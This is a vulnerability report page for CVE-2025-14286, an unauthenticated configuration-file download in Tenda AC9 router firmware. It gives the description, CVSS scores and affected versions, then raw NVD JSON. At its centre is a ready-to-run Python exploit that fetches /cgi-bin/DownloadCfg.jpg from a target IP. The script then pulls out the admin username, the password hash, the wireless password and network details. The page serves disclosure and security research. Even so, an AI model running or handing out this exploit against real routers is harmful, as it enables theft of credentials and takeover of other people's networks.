Security Vulnerability Report
中文
CVE-2025-14286 CVSS 5.3 MEDIUM

CVE-2025-14286

Published: 2025-12-09 16:17:38
Last Modified: 2025-12-11 17:15:12

Description

A vulnerability was determined in Tenda AC9 15.03.05.14_multi. Affected by this vulnerability is an unknown functionality of the file /cgi-bin/DownloadCfg.jpg of the component Configuration File Handler. This manipulation causes information disclosure. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:tenda:ac9_firmware:15.03.05.14_multi:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tenda:ac9_firmware:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC9 15.03.05.14_multi

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-14286 PoC - Tenda AC9 Configuration File Download This PoC demonstrates the information disclosure vulnerability in Tenda AC9 routers. The /cgi-bin/DownloadCfg.jpg endpoint allows unauthenticated configuration download. """ import requests import sys import re def extract_config_info(config_text): """Extract sensitive information from configuration file""" patterns = { 'LAN IP': r'lan_ipaddr=([^&\s]+)', 'WAN IP': r'wan_ipaddr=([^&\s]+)', 'Admin User': r'admin_username=([^&\s]+)', 'Admin Password Hash': r'admin_password=([^&\s]+)', 'Wireless SSID': r'wireless_ssid=([^&\s]+)', 'Wireless Password': r'wireless_password=([^&\s]+)', 'MAC Address': r'macaddr=([^&\s]+)' } extracted = {} for key, pattern in patterns.items(): match = re.search(pattern, config_text) if match: extracted[key] = match.group(1) return extracted def exploit(target_ip): """Exploit the vulnerability""" target_url = f"http://{target_ip}/cgi-bin/DownloadCfg.jpg" print(f"[*] Target: {target_ip}") print(f"[*] Exploiting CVE-2025-14286...") print(f"[*] Requesting: {target_url}") try: # Send unauthenticated request to download configuration response = requests.get(target_url, timeout=10) if response.status_code == 200: print(f"[+] Successfully downloaded configuration file!") print(f"[+] File size: {len(response.content)} bytes") # Save raw configuration with open(f'config_{target_ip.replace(".", "_")}.bin', 'wb') as f: f.write(response.content) print(f"[+] Configuration saved to config file") # Try to decode and extract information try: config_text = response.content.decode('utf-8', errors='ignore') extracted_info = extract_config_info(config_text) if extracted_info: print("\n[+] Extracted Sensitive Information:") for key, value in extracted_info.items(): print(f" {key}: {value}") else: print("[*] Could not parse configuration format") print("[*] First 500 bytes of response:") print(response.content[:500]) except Exception as e: print(f"[-] Error parsing configuration: {e}") return True else: print(f"[-] Failed to download configuration. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") print(f"Example: {sys.argv[0]} 192.168.0.1") sys.exit(1) target = sys.argv[1] exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14286", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:38.197", "lastModified": "2025-12-11T17:15:12.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Tenda AC9 15.03.05.14_multi. Affected by this vulnerability is an unknown functionality of the file /cgi-bin/DownloadCfg.jpg of the component Configuration File Handler. This manipulation causes information disclosure. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac9_firmware:15.03.05.14_multi:*:*:*:*:*:*:*", "matchCriteriaId": "D1A7C986-BA06-44DB-A271-91B88853CA43"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:tenda:ac9_firmware:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "D183C477-B4F8-4625-B17B-AE8A29AF99B2"}]}]}], "references": [{"url": "https://github.com/Madgeaaaaa/MY_VULN_2/blob/main/Tenda/VULN11.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.334874", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.334874", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.702723", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Madgeaaaaa/ ... (truncated)